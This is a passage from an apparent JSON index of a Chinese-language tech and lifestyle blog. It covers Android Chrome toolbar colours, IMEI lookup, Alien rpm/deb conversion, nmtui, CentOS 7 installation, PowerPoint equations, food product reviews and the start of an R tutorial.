瀏覽器可以透過網頁設定工具列的顏色，讓手機的畫面與網頁的佈景主題一致，看起來更美觀。\u003c/p\u003e\n\u003cp\u003e一般手機瀏覽器的工作列顏色都是固定的，而現在 Android 手機版的 Chrome 瀏覽器從第 39 版之後，開始支援從網頁中指定佈景主題顏色的功能，這個簡單的小功能可以讓網站看起來更專業，也更漂亮，以下是設定的方法教學。\u003c/p\u003e","title":"設定 Android 手機版 Chrome 瀏覽器工具列顏色，配合網頁佈景主題"},{"content":"這裡介紹如何查詢手機的 IMEI 序號，就算手機不見了也可以查的到自己手機的 IMEI 碼！\n手機不見是常有的事情，如果是 Android 的手機可以試試看一些不用安裝 App 即可定位手機位置的方法，萬一真的找不到的話，可能就要先掛失，然後再考慮是否要報警處理了。\n每支手機都有一組獨特的 IMEI 碼（俗稱手機序號），凡是使用手機撥打電話後，在電信公司這邊都會有 IMEI 碼的通聯紀錄，由於這組 IMEI 碼是存在於手機上的，就算換了 SIM 卡也不會影響 IMEI 碼，所以萬一手機發生失竊或遺失的情形，要報警處理的話都會需要這組 IMEI 碼，警方若要追查手機的話，可以根據這組 IMEI 碼來從電信公司那邊追查手機的通話紀錄。\n以下是各種查詢手機 IMEI 碼的方法，不管使用哪一種都可以。\n手機 IMEI 碼貼紙 通常在手機的電池拆下來之後，裡面都會有一張序號貼紙，上面就會有 IMEI 碼的資訊。\n非智慧型手機通常也都會有 IMEI 的貼紙在這裡。\n這個查詢方式是最直接的，不過如果懶的拆電池，也可以用以下其他的方式。\n手機外盒的 IMEI 碼 如果您的手機外盒沒有丟掉的話，在盒子上面都會有 IMEI 碼的資訊。\n按鍵查詢手機 IMEI 碼 不管是哪一種手機，只要在手機撥號的地方輸入：\n*#06# 輸入之後手機就會立即顯示其 IMEI 碼：\n有些手機會有兩組 IMEI 碼，這通常是因為它有兩個 SIM 卡插槽的原因。\n手機系統查詢 IMEI 碼 通常在手機系統裡面也都會有可以查詢 IMEI 碼的地方，通常是在系統狀態裡面：\nGoogle 資訊主頁查詢手機 IMEI 碼 如果您的 Android 手機不幸遺失了，在沒有手機的狀況下還是可以從 Google 資訊主頁中查到自己手機的 IMEI 碼。\n只要是自己使用過的 Android 手機，在這裡都會有紀錄。\n以上就是各種手機 IMEI 碼的查詢方法。\n參考資料 中時電子報 fossbytes ","permalink":"https://blog.gtwang.org/mobile/how-to-find-imei-number-of-your-phone/","summary":"\u003cp\u003e這裡介紹如何查詢手機的 IMEI 序號，就算手機不見了也可以查的到自己手機的 IMEI 碼！\u003c/p\u003e\n\u003cp\u003e手機不見是常有的事情，如果是 Android 的手機可以試試看一些\u003ca href=\"/mobile/how-to-track-your-lost-android-phone-without-tracking-app/\"\u003e不用安裝 App 即可定位手機位置的方法\u003c/a\u003e，萬一真的找不到的話，可能就要先掛失，然後再考慮是否要報警處理了。\u003c/p\u003e","title":"查詢手機序號 IMEI 碼，手機不見也可以查的方法！"},{"content":"Alien 是一個可以將 Linux 的 rpm 檔與 deb 檔互相轉換的小工具，方便 Linux 管理者安裝各種類型的軟體。\n通常 Linux 系統管理者都很熟悉使用自己系統上的套件管理系統來安裝軟體，例如 Debian 系列的 Linux 就會使用 apt 或 aptitude，Red Hat 系列的 Linux 則使用 yum，而 SUSE 可以使用 zypper，另外也可以直接使用比較低階 dpkg 或 rpm 指令直接安裝套件檔，如果不想從套件管理系統安裝，也可以選擇從原始碼編譯安裝，這些都是一般在安裝軟體時常用的方式。\n這裡我們要介紹 Alien 這個套件轉換工具，它可以將 Linux 最常見的 .rpm 檔與 .deb 檔互相轉換，如果您需要的套件類型剛好跟手上有的套件類型不同，就可以用 Alien 轉換一下，這種狀況通常會發生在安裝商業軟體時，廠商只提供打包好的 .rpm 檔或是 .deb 檔，沒有原始碼，只能透過這樣的工具來轉換。\n使用 Alien 轉換後的套件有一定的風險，橫跨不同體系的 Linux 有可能會造成檔案損毀，除非真的沒辦法，否則不建議使用。\n以下我們示範 Alien 的安裝與使用方式。\n安裝 Alien 如果是在 CentOS/RHEL 7 中，要先安裝 EPEL 與 Nux Dextop repositories：\nsudo yum install epel-release sudo rpm --import http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro 接著安裝 Nux Dextop：\nrpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-5.el7.nux.noarch.rpm 本文撰寫時最新的版本是 0.5，您可以從 li.nux.ro 上面查看是否有更新的版本。\n接著安裝 Alien：\nsudo yum update sudo yum install alien 上面的操作步驟同樣適用於 Fedora Linux。\n如果是 Debian 系列的 Linux，就直接用 apt 安裝即可：\nsudo apt-get install alien deb 檔轉 rpm 檔 這裡我們示範如何將 .deb 檔轉換為 .rpm 檔，使用的測試環境為 CentOS 7：\ncat /etc/centos-release CentOS Linux release 7.2.1511 (Core) 以下我們選用 dateutils 這個套件為範例，示範使用 Alien 將 .deb 檔轉換為 .rpm 檔的步驟。\nStep 1\n通常在實際的狀況下，您的手上應該會有一個 .deb 檔，而這裡我們從 Debian 官方網站下載一個 dateutils 的 .deb 檔來做測試：\nwget http://ftp.us.debian.org/debian/pool/main/d/dateutils/dateutils_0.3.1-1.1_amd64.deb Step 2\n接著使用 Alien 把 .deb 檔轉換為 .rpm 檔：\nsudo alien --to-rpm --scripts dateutils_0.3.1-1.1_amd64.deb 如果順利的話，應該會看到類似這樣的訊息：\ndateutils-0.3.1-2.1.x86_64.rpm generated 雖然只是轉換檔案，但是因為有檔案權限的問題，需要使用 root 權限來進行轉換，如果使用一般的使用者權限的話，會出現這樣的警告訊息：\nWarning: alien is not running as root! Warning: Ownerships of files in the generated packages will probably be wrong. 這裡還要注意一下套件版本的問題，Alien 在轉換套件時，會自動遞增版本的編號，以這個 dateutils 例子來說，轉換前的版本是 0.3.1-1.1，而經過 Alien 轉換之後，新的版本編號就變成 0.3.1-2.1，如果您不希望 Alien 自動更改版本編號，可以加上 --keep-version 參數。\nStep 3\n接著測試轉換出來的 .rpm 檔，使用 rpm 指令安裝：\nsudo rpm -Uvh dateutils-0.3.1-2.1.x86_64.rpm 結果出現這樣的錯誤訊息：\n正在準備… ################################# [100%] 從 dateutils-0.3.1-2.1.x86_64 安裝的檔案 / 與來自套件 filesystem-3.2-20.el7.x86_64 的檔案產生衝突 從 dateutils-0.3.1-2.1.x86_64 安裝的檔案 /usr/bin 與來自套件 filesystem-3.2-20.el7.x86_64 的檔案產生衝突 Step 4\n接著我們要修正這個檔案衝突的問題，啟用 epel-testing 這個套件庫（repository），安裝 rpmrebuild 這個可以修改 rpm 套件的工具：\nsudo yum --enablerepo=epel-testing install rpmrebuild 接著使用 rpmrebuild 修正 rpm 檔：\nsudo rpmrebuild -pe dateutils-0.3.1-2.1.x86_64.rpm rpmrebuild 會使用系統預設的編輯器來編輯 spec file 設定檔，在這個設定檔中，尋找 %files 這個段落：\n(Converted from a deb package by alien version 8.90.) %files %dir %attr(0755, root, root) \u0026#34;/\u0026#34; %dir %attr(0755, root, root) \u0026#34;/usr\u0026#34; %dir %attr(0755, root, root) \u0026#34;/usr/bin\u0026#34; %attr(0755, root, root) \u0026#34;/usr/bin/dateutils.dadd\u0026#34; %attr(0755, root, root) \u0026#34;/usr/bin/dateutils.dconv\u0026#34; %attr(0755, root, root) \u0026#34;/usr/bin/dateutils.ddiff\u0026#34; 把 / 與 /usr/bin 這兩個衝突的項目拿掉（刪除這兩行），改成這樣：\n(Converted from a deb package by alien version 8.90.) %files %dir %attr(0755, root, root) \u0026#34;/usr\u0026#34; %attr(0755, root, root) \u0026#34;/usr/bin/dateutils.dadd\u0026#34; %attr(0755, root, root) \u0026#34;/usr/bin/dateutils.dconv\u0026#34; %attr(0755, root, root) \u0026#34;/usr/bin/dateutils.ddiff\u0026#34; 修改好之後，存檔離開，離開時會詢問是否要繼續：\nDo you want to continue ? (y/N) 請輸入 y 繼續，接著就產生新的 rpm 檔：\nresult: /root/rpmbuild/RPMS/x86_64/dateutils-0.3.1-2.1.x86_64.rpm Step 5\n安裝修改好的 rpm 檔：\nsudo rpm -Uvh /root/rpmbuild/RPMS/x86_64/dateutils-0.3.1-2.1.x86_64.rpm 這樣就可以正常安裝了，輸出會像這樣：\n正在準備… ################################# [100%] Updating / installing... 1:dateutils-0.3.1-2.1 ################################# [100%] 檢查一下套件列表，確認是否有裝進去：\nrpm -qa | grep dateutils dateutils-0.3.1-2.1.x86_64 最後再看一下 /usr/bin 下面新裝進去的檔案：\nls -l /usr/bin | grep dateutils -rwxr-xr-x. 1 root root 158224 11月 15 2014 dateutils.dadd -rwxr-xr-x. 1 root root 154128 11月 15 2014 dateutils.dconv -rwxr-xr-x. 1 root root 162320 11月 15 2014 dateutils.ddiff -rwxr-xr-x. 1 root root 178704 11月 15 2014 dateutils.dgrep -rwxr-xr-x. 1 root root 166416 11月 15 2014 dateutils.dround -rwxr-xr-x. 1 root root 158224 11月 15 2014 dateutils.dseq -rwxr-xr-x. 1 root root 154320 11月 15 2014 dateutils.dsort -rwxr-xr-x. 1 root root 150032 11月 15 2014 dateutils.dtest -rwxr-xr-x. 1 root root 154128 11月 15 2014 dateutils.dzone -rwxr-xr-x. 1 root root 150096 11月 15 2014 dateutils.strptime 實際執行測試：\ndateutils.dconv --from-zone America/Chicago -z Europe/Berlin \u0026#39;2012-03-01 12:00\u0026#39; -i \u0026#39;%F %H:%M\u0026#39; -f \u0026#39;%F %T\u0026#39; 輸出為：\n2012-03-01 19:00:00 這樣就完安裝了。\nrpm 檔轉 deb 檔 接下來我們示範如何將 .rpm 檔轉換為 .deb 檔，讓 Debian 系列的 Linux 可以使用，使用的測試環境為 ：\nlsb_release -a No LSB modules are available. Distributor ID:\telementary OS Description:\telementary OS Freya Release:\t0.3.2 Codename:\tfreya 這個系統中的 shells 有這一些：\ncat /etc/shells /bin/sh /bin/dash /bin/bash /bin/rbash 以下我們示範從 CentOS 6 的套件庫下載 zsh 的 .rpm 檔，使用 Alien 把 .rpm 檔轉換成 .deb 檔來安裝。\nStep 1\n從 CentOS 7 的套件庫下載 zsh 的 .rpm 檔：\nwget http://mirror.centos.org/centos/6/os/x86_64/Packages/zsh-4.3.11-4.el6.centos.x86_64.rpm Step 2\n使用 Alien 將 .rpm 檔轉換為 .deb 檔：\nsudo alien --to-deb --scripts zsh-4.3.11-4.el6.centos.x86_64.rpm 這時候可能會有這樣的警告訊息：\nwarning: zsh-4.3.11-4.el6.centos.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY 這是套件簽署的問題，可以不用管它。正常來說，這樣就會產生 .deb 擋了。\nStep 3\n使用 dpkg 安裝產生出來的 .deb 檔：\nsudo dpkg -i zsh_4.3.11-5_amd64.deb 安裝完成後，查看一下可用的 shells：\ncat /etc/shells 輸出為：\n# /etc/shells: valid login shells /bin/sh /bin/dash /bin/bash /bin/rbash /bin/zsh 實際執行 zsh 測試：\nzsh --version 輸出為：\nzsh 4.3.11 (x86_64-redhat-linux-gnu) 看起來正常可以執行，這樣就完成了。\n處理器架構問題 如果我們手上套件的處理器架構與系統的處理器架構不同，將 .rpm 檔轉為 .deb 檔時，就會出現這樣的錯誤訊息：\nzsh-4.3.11-4.el6.centos.i686.rpm is for architecture i386 ; the package cannot be built on this system 通常若遇到這樣的問題是沒有辦法使用的，最好的方式是再找找看有沒有符合自己系統處理器架構的 .rpm 套件可以使用。\n如果想要強制它產生套件的話，可以用另一種方式：\nsudo alien -g --script zsh-4.3.11-4.el6.centos.i686.rpm Directories zsh-4.3.11 and zsh-4.3.11.orig prepared. 接著進入套件的目錄中，修改 debian/control 這個設定檔：\ncd zsh-4.3.11 sudo vi debian/control debian/control 的檔案內容會像這樣：\nSource: zsh Section: alien Priority: extra Maintainer: GTWang \u0026amp;lt;gtwang@gtwang-linux\u0026amp;gt; Package: zsh Architecture: i386 Depends: ${shlibs:Depends} Description: A powerful interactive shell The zsh shell is a command interpreter usable as an interactive login shell and as a shell script command processor. Zsh resembles the ksh shell (the Korn shell), but includes many enhancements. Zsh supports command line editing, built-in spelling correction, programmable command completion, shell functions (with autoloading), a history mechanism, and more. . (Converted from a rpm package by alien version 8.90.) 把 i386 改為自己處理器的架構，例如 amd64：\nArchitecture: amd64 然後儲存檔案並離開。接著執行：\nsudo debian/rules binary 產生 .deb 檔，這個過程中會有很多輸出訊息，正常的話最後一行會有這樣的訊息：\ndpkg-deb：把套件 `zsh' 製作為 `../zsh_4.3.11-5_amd64.deb'。 這樣就表示已經成功在上一層目錄中產生 .deb 檔了，不過雖然這樣可以產生 .deb 檔，也可以安裝，但不表示可以正常使用，通常不同處理器架構的執行檔會使用不同的函式庫，如果系統上沒有經過特別的設定，也是沒辦法正常使用的。\n參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/convert-from-rpm-to-deb-and-deb-to-rpm-package-using-alien/","summary":"\u003cp\u003eAlien 是一個可以將 Linux 的 rpm 檔與 deb 檔互相轉換的小工具，方便 Linux 管理者安裝各種類型的軟體。\u003c/p\u003e\n\u003cp\u003e通常 Linux 系統管理者都很熟悉使用自己系統上的套件管理系統來安裝軟體，例如 Debian 系列的 Linux 就會使用 apt 或 aptitude，Red Hat 系列的 Linux 則使用 yum，而 SUSE 可以使用 zypper，另外也可以直接使用比較低階 \u003ccode\u003edpkg\u003c/code\u003e 或 \u003ccode\u003erpm\u003c/code\u003e 指令直接安裝套件檔，如果不想從套件管理系統安裝，也可以選擇從原始碼編譯安裝，這些都是一般在安裝軟體時常用的方式。\u003c/p\u003e","title":"使用 Alien 互相轉換 Linux 的 rpm 與 deb 套件檔"},{"content":"nmtui 是 CentOS/RHEL 7 中預設會安裝的文字介面網路設定與管理工具，使用它可以幫助我們快速調整 NetworkManager 的相關設定。\nCentOS/RHEL 7 預設是使用 NetworkManager 來管理網路設定的，而 nmtui 則是用來編輯 NetworkManager 設定的文字介面工具，CentOS 7 系統預設就會安裝，有了這樣方便的小工具，就算不熟悉 NetworkManager 指令與設定檔語法的人，也可以在終端機中輕鬆調整網路的配置，以下是 nmtui 的使用方式。\nStep 1\n如果您使用的 CentOS/RHEL 沒有安裝 nmtui，可以使用 yum 安裝：\nyum install NetworkManager-tui Step 2\n接著我們可以使用 systemctl 確認一下系統是否有啟動 NetworkManager 服務：\nsystemctl status NetworkManager.service 輸出應該會類似這樣：\nStep 3\n確定系統是使用 NetworkManager 之後，就可以使用 nmtui 來調整網路設定了，在終端機中執行：\nnmtui Step 4\n接著就會進入 nmtui 的操作畫面，若要進行網路的相關設定（如 IP 位址、DNS 伺服器等），請選擇「編輯連線」。\nStep 5\n選擇網路介面，最常用到的應該是有線連線（也就是一般的乙太網路卡）。\nStep 6\n更改連線設定，這裡可以把設定檔重新命名，取一個比較好辨識的名稱。\nStep 7\n接著就可以設定 IP 位置、閘道器（gateway）與 DNS 伺服器等設定了。\nStep 8\n主選單的「啟用連線」功能中，可以控制每個網路介面的啟動狀態。\nStep 9\n主選單最後一個功能是設定系統的主機名稱。\n以上就是 nmtui 這個小工具的使用方式。\n參考資料 redhat ","permalink":"https://blog.gtwang.org/linux/nmtui-centos-linux-network-manager-text-user-interface/","summary":"\u003cp\u003e\u003ccode\u003enmtui\u003c/code\u003e 是 CentOS/RHEL 7 中預設會安裝的文字介面網路設定與管理工具，使用它可以幫助我們快速調整 NetworkManager 的相關設定。\u003c/p\u003e\n\u003cp\u003eCentOS/RHEL 7 預設是使用 NetworkManager 來管理網路設定的，而 \u003ccode\u003enmtui\u003c/code\u003e 則是用來編輯 NetworkManager 設定的文字介面工具，CentOS 7 系統預設就會安裝，有了這樣方便的小工具，就算不熟悉 NetworkManager 指令與設定檔語法的人，也可以在終端機中輕鬆調整網路的配置，以下是 \u003ccode\u003enmtui\u003c/code\u003e 的使用方式。\u003c/p\u003e","title":"nmtui：CentOS/RHEL 文字介面網路設定工具，管理 NetworkManager"},{"content":"養聖齋養生蔬食崇明店是台南市東區的一家素食餐廳，餐點既好吃又健康，用餐環境也非常好。\n前兩天去台南東區保養汽車，到了中午吃飯時間，要在附近找一間素食餐廳，網路上雖然可以查的到好幾間，不過也不曉得那一間比較好，而保養場的小姐大力推薦我們這一家養聖齋養生蔬食，我們實際去吃過之後，感覺真的很不錯。\n養聖齋養生蔬食門口有綠色的招牌，由於招牌不是很大，有時候開車過去不容易注意到。\n這一家養聖齋養生蔬食就在崇明路上，距離一號省道很近。\n這是餐廳裡面的樣子。\n餐廳內部光線明亮，用餐環境很舒適。\n這是養聖齋養生蔬食的菜單，餐點的種類很多，有焗烤、簡餐、燴飯、炒飯、麵、冬粉、小火鍋等。\n這裡最特別的就是馬來叻沙麵，它的醬料是老闆娘自己調製的，是老闆娘特別推薦的特色餐點。\n這是結帳的櫃台，老闆娘很親切。\n櫃台旁有一些餅乾與零食可以選購。\n另外一側有餐具與現點滷味區。\n這是我點的焗烤茄汁義大利麵，還有附帶一碗湯。\n這個焗烤茄汁義大利麵用的食材感覺都很新鮮，非常好吃。\n這是加蛋的鍋燒意麵，口味清爽，不會油膩。\n這是特製麻辣乾麵，這個也有附帶一碗湯。\n特製麻辣乾麵的醬料是老闆娘自己調製的，味道感覺天然、清爽，有一股特別的香氣。\n這是養聖齋養生蔬食的名片。\n名片的背面是菜單。\n名片的另外一面還有其他的菜單。\n店名：養聖齋養生蔬食（崇明店）\n地址：台南市東區崇明路 528 號\n接下來是小朋友用餐的的照片，想看的人可以繼續閱讀下一頁。\n這是阿玄在吃焗烤茄汁義大利麵的樣子。\n焗烤茄汁義大利麵真的很好吃，加上起司很香，阿玄很愛吃。\n阿玄吃完一小碗之後，又再裝了一些去吃。\n阿玄大概吃掉半盤的義大利麵了。\n另外半盤的義大利麵給我吃掉了，如果還有的話，阿玄應該還可以吃更多，因為實在是太好吃了。\n這是我跟阿玄用餐的樣子。\n老闆娘看到阿玄喜歡畫畫，就送阿玄一張菜單，讓他在菜單背面畫畫。\n阿玄拿到菜單就開始點餐，把所有的餐點都打勾。\n","permalink":"https://blog.gtwang.org/life/yangshengzhai-vegetarian-restaurant-tainan/","summary":"\u003cp\u003e養聖齋養生蔬食崇明店是台南市東區的一家素食餐廳，餐點既好吃又健康，用餐環境也非常好。\u003c/p\u003e\n\u003cp\u003e前兩天去台南東區保養汽車，到了中午吃飯時間，要在附近找一間素食餐廳，網路上雖然可以查的到好幾間，不過也不曉得那一間比較好，而保養場的小姐大力推薦我們這一家養聖齋養生蔬食，我們實際去吃過之後，感覺真的很不錯。\u003c/p\u003e","title":"[台南素食] 養聖齋養生蔬食（崇明店）"},{"content":"這裡介紹 PowerPoint 的數學公式編輯器的使用方式，幫助您在簡報中加入數學符號與方程式。\n理工科系的學生在製作 PowerPoint 簡報（投影片）時，通常都會需要在簡報中插入一些數學的公式或是特殊符號，而 PowerPoint 中有一個「方程式」功能，可以讓您輕鬆編輯並插入各類的數學方程式，以下是 PowerPoint 2016 的「方程式」功能使用教學。\n首先開啟 PowerPoint，點選「插入」籤頁中的「方程式」。\n在「方程式」的下拉式選單中，有一些常用的數學公式可以直接使用。\n點選要插入的公式之後，公式就會出現在投影片上了。\n若要編輯插入的數學方程式，可以用滑鼠點擊要編輯的位置，就可以直接更改公式內容。\n如果需要編輯自己的數學方程式，可以使用 PowerPoint「方程式工具」，大部常用的數學符號都可以在這裡找到。\n另外在「方程式」的下拉式選單中，還有一個「筆跡方程式」的功能，可以直接用手寫的方式輸入數學方程式。（不過我感覺辨識成功率似乎不是很高）\n以上就是 PowerPoint 插入數學方程式的方法教學。\n","permalink":"https://blog.gtwang.org/windows/powerpoint-2016-math-formula/","summary":"\u003cp\u003e這裡介紹 PowerPoint 的數學公式編輯器的使用方式，幫助您在簡報中加入數學符號與方程式。\u003c/p\u003e\n\u003cp\u003e理工科系的學生在製作 PowerPoint 簡報（投影片）時，通常都會需要在簡報中插入一些數學的公式或是特殊符號，而 PowerPoint 中有一個「方程式」功能，可以讓您輕鬆編輯並插入各類的數學方程式，以下是 PowerPoint 2016 的「方程式」功能使用教學。\u003c/p\u003e","title":"PowerPoint 插入方程式：數學公式編輯器使用教學"},{"content":"這裡介紹 CentOS 7 的 Linux 作業系統安裝步驟。\nCentOS Linux 是源自於 Red Hat Enterprise Linux（RHEL）的 Linux 發行版，它與 RHEL 有相同的原始碼來源，對於要求高度穩定性的伺服器而言，可以使用 CentOS 來替代商業版的 Red Hat Enterprise Linux。\nCentOS 與 RHEL 的主要差異在於 CentOS 不包含封閉原始碼的軟體，並且將不能自由使用的商標移除，除此之外兩者非常接近，都可以使用 Fedora EPEL 來補足本身沒有收的軟體。\n以下是 CentOS 的安裝步驟。\nStep 1\n首先從 CentOS 的官方網站下載最新的 CentOS 7 ISO 影像檔，並燒錄成安裝光碟。\nStep 2\n使用安裝光碟開機，選擇第一個「Install CentOS 7」，如果想要先檢查光碟有無損壞，可以選擇第二個「Test this media \u0026amp; install CentOS 7」。\nStep 3\n選擇安裝用的語言。\nStep 4\n接著調整各種設定，使用滑鼠點選即可進入調整。\nStep 5\n這是日期與時間的設定。\nStep 6\n這是鍵盤配置的設定，右方可以進行測試。\nStep 7\n這是安全性的相關設定。\nStep 8\n這是安裝來源的設定。\nStep 9\n這是軟體選擇的設定，左邊的選單可以選擇安裝類型，右方則是細部的選項。\nStep 10\n這是安裝目的地的設定，設定要安裝的硬碟。\nStep 11\n這是 Kdump 的設定。\nStep 12\n這是網路與主機名稱的設定。\nStep 13\n所有的設定都調整好之後，就可以點選「開始安裝」。\nStep 14\n進行安裝的同時，要設定 root 密碼，並建立帳戶。\nStep 15\n這是設定 root 密碼的畫面。\nStep 16\n這是建立使用者的畫面。\nStep 17\nroot 密碼與使用者帳號都建立好之後，就等待至安裝過程結束。\nStep 18\n安裝完成後，點選「重新開機」。\nStep 19\n進入開機選單，選擇第一個 CentOS Linux 選項。\nStep 20\nCentOS 安裝完成第一次開機的時候，會出現 License information (License not accepted) 這樣的訊息：\n首先請輸入 1，按下 Enter 鍵。\nStep 21\n接著會出現 License information，接著輸入 2（I accept the license agreement），然後按下 Enter 鍵。\nStep 22\n接著輸入 c，然後按下 Enter 鍵。\nStep 23\n再輸入一次 c，然後按下 Enter 鍵，這樣就會繼續開機的程序了。\nStep 24\n開機完成後，進入登入畫面，輸入剛剛設定的帳號與密碼登入系統。\nStep 25\n登入之後，就可以看到 CentOS 7 的桌面環境。\n如果試選則中文語系的話，預設就有酷音輸入法可以用。\n這是桌面的切換介面。\nStep 26\n剛裝好的 Linux 系統記得要先更新一下，確保所有的系統套件保持最新的狀態。\n以上就是 CentOS 7 Linux 系統的安裝過程。\n","permalink":"https://blog.gtwang.org/linux/centos-7-installation-tutorial/","summary":"\u003cp\u003e這裡介紹 CentOS 7 的 Linux 作業系統安裝步驟。\u003c/p\u003e\n\u003cp\u003eCentOS Linux 是源自於 Red Hat Enterprise Linux（RHEL）的 Linux 發行版，它與 RHEL 有相同的原始碼來源，對於要求高度穩定性的伺服器而言，可以使用 CentOS 來替代商業版的 Red Hat Enterprise Linux。\u003c/p\u003e","title":"CentOS 7 的 Linux 系統安裝步驟教學"},{"content":"本篇是米森有機藍莓腰果麥片的簡單開箱文。\n這個米森有機藍莓腰果麥片是我在青荷有機的購物網站上買的，以下是試吃心得。\n米森有機藍莓腰果麥片通過慈心有機認證，成份包含有機大燕麥片、有機葡萄乾、有機腰果、有機黑麥片、有機小麥片、有機大麥片、有機玉米脆片（非基因改造）、有機藍梅乾與有機葡萄糖等。\n打開之後，裡面是鋁箔夾鏈袋包裝。\n這是拿出來的樣子。\n這是米森有機藍莓腰果麥片倒出來的樣子。\n這是沖泡之後的樣子，腰果與葡萄乾這些重量比較重的料都沉下去了，只看得到麥片與玉米脆片。\n這款麥片雖然有很多種穀物，但是最主要的還是麥片，腰果與葡萄乾只是點綴，有機的麥片吃起來是還不錯，不過我個人還是比較喜歡米森有機水果覆盆莓麥片。\n以下是一些青荷有機官方網站的介紹資料。\n","permalink":"https://blog.gtwang.org/life/vilson-organic-blue-berry-cashew-nuts-with-grain-flakes/","summary":"\u003cp\u003e本篇是米森有機藍莓腰果麥片的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e這個米森有機藍莓腰果麥片是我在青荷有機的購物網站上買的，以下是試吃心得。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"米森有機藍莓腰果麥片\" loading=\"lazy\" src=\"/life/vilson-organic-blue-berry-cashew-nuts-with-grain-flakes/vilson-organic-blue-berry-cashew-nuts-with-grain-flakes-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e米森有機藍莓腰果麥片通過\u003ca href=\"https://toaf.org.tw/\"\u003e慈心有機認證\u003c/a\u003e，成份包含有機大燕麥片、有機葡萄乾、有機腰果、有機黑麥片、有機小麥片、有機大麥片、有機玉米脆片（非基因改造）、有機藍梅乾與有機葡萄糖等。\u003c/p\u003e","title":"[開箱] 米森有機藍莓腰果麥片"},{"content":"本篇是謙善草本有機黑糖老薑茶的開箱文。\n冬天寒流來的時候最適合喝一點老薑茶，最近我從青荷有機的購物網站上買了一盒謙善草本的有機黑糖老薑茶，以下是簡單的開箱紀錄。\n這個有機黑糖老薑茶通過慈心有機認證，其的成份包含哥斯大黎加的有機黑糖、巴西的有機砂糖、以及印度的有機薑粉，不含任何防腐劑、人工香料或色素。\n一盒裡面有六包。\n每一包的重量是 20 公克。\n這是倒在杯子裡的樣子。\n加入熱開水沖開，每一包可以泡 200 ~ 250 毫升的有機老薑茶，可依個人喜好調整濃淡，冬天寒流來的時候喝一杯很不錯。\n以下是一些青荷有機官方網站的介紹資料。\n","permalink":"https://blog.gtwang.org/life/qian-shan-herbs-organic-ginger-tea-with-brown-sugar/","summary":"\u003cp\u003e本篇是謙善草本有機黑糖老薑茶的開箱文。\u003c/p\u003e\n\u003cp\u003e冬天寒流來的時候最適合喝一點老薑茶，最近我從青荷有機的購物網站上買了一盒謙善草本的有機黑糖老薑茶，以下是簡單的開箱紀錄。\u003c/p\u003e","title":"[開箱] 謙善草本有機黑糖老薑茶，冬天驅寒熱飲"},{"content":"本篇是米森有機水果覆盆莓麥片的開箱文，這個拿來當早餐或點心很不錯。\n有些人早餐會泡一些麥片或類似的穀物來吃，而我則是喜歡平常肚子餓的時候來當點心，常常去大賣場一次就是買個四、五盒放在家裡慢慢吃，最近在青荷有機的購物網站上看到有機的麥片有特價，就買了一盒米森有機水果覆盆莓麥片來吃吃看，以下是簡單的開箱文。\n這是米森有機水果覆盆莓麥片的外盒，看起來很好吃的樣子。\n這款米森有機水果覆盆莓麥片通過慈心有機認證，裡面含有有機覆盆莓脆片、有機黑醋栗（黑加侖）、有機蔓越莓、有機葡萄乾、有機大燕麥片與有機黑麥片等各種有機原料。\n打開之後，裡面是鋁箔夾鏈袋包裝。\n這是拿出來的樣子。\n這是有機水果覆盆莓麥片倒出來的樣子。\n看起來跟包裝上的照片差不多漂亮。\n通常這類的麥片會搭配熱的（或是冰的）豆漿、牛奶或穀粉一起吃，我這裡是拿 KB99 的生機 10 穀營養粉來一起泡。\n泡好穀粉之後，再把有機水果覆盆莓麥片加上去。\n有機水果覆盆莓麥片含有豐富的膳食纖維，拿來當作早餐或是點心感覺很不錯，記營養又健康。我個人最喜歡吃照片上面深紅色的那些葡萄乾與莓乾，有機的東西吃起來就是跟一般的不一樣，吃起來口感甘甜、不會酸，很好吃。\n這款有機水果覆盆莓麥片是屬於全素的，吃素的人也可以吃。以下是一些青荷有機官方網站的介紹資料。\n","permalink":"https://blog.gtwang.org/life/vilson-organic-raspberry-fruits-muesli/","summary":"\u003cp\u003e本篇是米森有機水果覆盆莓麥片的開箱文，這個拿來當早餐或點心很不錯。\u003c/p\u003e\n\u003cp\u003e有些人早餐會泡一些麥片或類似的穀物來吃，而我則是喜歡平常肚子餓的時候來當點心，常常去大賣場一次就是買個四、五盒放在家裡慢慢吃，最近在青荷有機的購物網站上看到有機的麥片有特價，就買了一盒米森有機水果覆盆莓麥片來吃吃看，以下是簡單的開箱文。\u003c/p\u003e","title":"[開箱] 米森有機水果覆盆莓麥片，高膳食纖維的健康早餐點心"},{"content":"這裡介紹 R 的一些常用函數，以及如何使用這些函數對資料進行基本的分析工作。\nR 中有一些函數可以讓我們在處理資料時更快速、更方便，雖然這些不是分析資料必要的函數，不過在某些情況下運用這些函數可以讓整個資料的分析流程更順暢。\ntapply 函數 R 提供了各式各樣可以對數值做計算的函數，除了對單一變數做計算的函數之外，有些特別的函數也可以同時對多個變數或子集合做運算，我們拿 vegetation 這個資料來做一個例子，這個資料是黃石國家公園（Yellowstone National Park）與 National Bison Range 所觀測到的草原生態資料，研究的目的在於觀察這裡的生物多樣性是否有隨著時間而改變。\n首先把資料讀進 R 中：\nVeg \u0026lt;- read.table(file=\u0026#34;Vegetation2.txt\u0026#34;, header= TRUE) names(Veg) 輸出為：\n[1] \"TransectName\" \"Samples\" [3] \"Transect\" \"Time\" [5] \"R\" \"ROCK\" [7] \"LITTER\" \"ML\" [9] \"BARESOIL\" \"FallPrec\" [11] \"SprPrec\" \"SumPrec\" [13] \"WinPrec\" \"FallTmax\" [15] \"SprTmax\" \"SumTmax\" [17] \"WinTmax\" \"FallTmin\" [19] \"SprTmin\" \"SumTmin\" [21] \"WinTmin\" \"PCTSAND\" [23] \"PCTSILT\" \"PCTOrgC\" str(Veg) 輸出為\n'data.frame':\t58 obs. of 24 variables: $ 